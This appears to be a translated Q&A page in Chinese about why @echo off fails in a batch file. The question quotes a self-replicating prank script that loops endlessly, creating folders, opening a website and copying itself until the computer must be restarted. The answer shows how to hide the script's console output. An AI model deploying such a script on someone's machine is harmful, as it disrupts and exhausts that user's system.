windows - @echo off 在批处理脚本中不起作用
问题描述
我的电脑上有几个批处理脚本,其中许多是无害且烦人的。不幸的是,@echo off
只是不能在我的电脑上工作。
这是脚本:
@echo off
:top
md %random%
start http://roblox.com
set self=%~n0
REM get own filename
TYPE %self%.bat > %self%%random%%random%.bat
goto top
(it's just extremely annoying and pretty much just makes it to where you have to restart)
通常它不会显示cmd。但是,我可以清楚地看到命令提示符。
解决方案
似乎您想隐藏评论的输出而不是提示和它们本身。这可以通过将它们的 STDOUT 和 STDERR 重定向到NUL
.
如果您从 cmd 启动批处理文件,则使用以下命令启动它:
(batch.bat)>NUL 2>&1
如果您通过双击启动它,则可以创建另一个包含内容的批处理文件:
@(batch.bat)>NUL 2>&1
或在您的批处理文件中,从(不强烈推荐)开始:
@echo off
setlocal EnableDelayedExpansion
(
content
of
your
batch
file
)>NUL 2>&1
但请注意,您应该使用!var!
而不是访问变量%var%
,这就是我不推荐这种方式的原因。
推荐阅读
- node.js - package.json: & 和 && 有什么区别?
- javascript - Javascript 在 ASP 母版页中的表单标记内不起作用
- ios - 如何知道在 swift 4 中实时 Firebase 的 childChanged 事件类型中更新了哪个子子项
- php - 如何在php的foreach循环中使用两个数组或三个数组插入数据库
- python - 将字符串/列表转换为数据框
- html - 使用 Twitter Bootstrap 4 在移动设备上增加空间
- swift - 在 Xcode 中导航到 UI 到相关控制器以及从控制器到 UI
- javascript - XMLHttpRequest GET 值不会输入到 mysqli_query SQL
- ios - 快速比较两个任意类型值的最佳方法
- python-3.x - Pandas 应用、map 和 iterrows 行为异常